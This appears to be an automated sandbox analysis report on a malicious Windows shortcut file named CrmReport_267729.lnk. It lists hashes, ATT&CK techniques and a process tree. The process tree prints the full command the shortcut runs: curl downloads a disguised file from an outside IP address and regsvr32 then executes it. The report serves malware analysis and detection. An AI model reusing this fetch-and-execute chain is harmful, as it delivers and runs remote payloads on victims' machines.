11ae9e0230e6081227a89b1c885cccead75c42b3a1fca36793121309b3ea8c7b

Analysis

max time kernel
90s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20220414-en
submitted
28/06/2022, 17:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
CrmReport_267729/CrmReport_267729.lnk
Size 2KB
Sample220628-wbfpcabccj
SHA256 ca0aac3f0e8d7e6d9e3e25dc91078d4e955f523fc166f976e209aad45542edb0
MD5 b4e013f3fc721e163d311d6d9ae38fd8
SHA1 5e0abe9df79ccfa6af74c882938630298bc80869
SHA512 ac0b8c7e9f1089b2134e639f4207ca3d71aca454b2fbaf8c6e58c6069502f7885f9e52c9e7e262ddbe09fd82cf87d60ea798c78740048326c2ece67211b05ee2
MD5 SHA1 SHA512

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4552 wrote to memory of 4740	4552	cmd.exe	84
PID 4552 wrote to memory of 4740	4552	cmd.exe	84
PID 4740 wrote to memory of 4760	4740	cmd.exe	85
PID 4740 wrote to memory of 4760	4740	cmd.exe	85
PID 4740 wrote to memory of 4848	4740	cmd.exe	86
PID 4740 wrote to memory of 4848	4740	cmd.exe	86

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\CrmReport_267729\CrmReport_267729.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\Windows\system32\curl -s -o C:\Users\Admin\AppData\Local\Temp\moreHe.rtf http://146.70.79.52/whenYouGive.dat&&C:\Windows\system32\regsvr32 C:\Users\Admin\AppData\Local\Temp\moreHe.rtf
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4740
- - C:\Windows\system32\curl.exe
    C:\Windows\system32\curl -s -o C:\Users\Admin\AppData\Local\Temp\moreHe.rtf http://146.70.79.52/whenYouGive.dat
    3⤵
    PID:4760
- - C:\Windows\system32\regsvr32.exe
    C:\Windows\system32\regsvr32 C:\Users\Admin\AppData\Local\Temp\moreHe.rtf
    3⤵
    PID:4848

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

moreHe.rtf

Path C:\Users\Admin\AppData\Local\Temp\moreHe.rtf
Size 162B
SHA256 1d08335e65da7cf40d1c4a7ba0088e0f39b9c5a4b2e42de95fc9ffa69fb96c7a
MD5 bc56979a0b381a791dd59713198a87fb
SHA1 6c665dcfb0303a67024de3d694f810669ae188e2
SHA512 f0ce614d94601746ac209abceba7cca6ddb1fd5d29f5e2d731510163e9e1a64891bddfe4ca12c16e7ed99d697c7b0634603d43dc28d8a90e84c3b3e825550934
MD5 SHA1 SHA512

Submit Download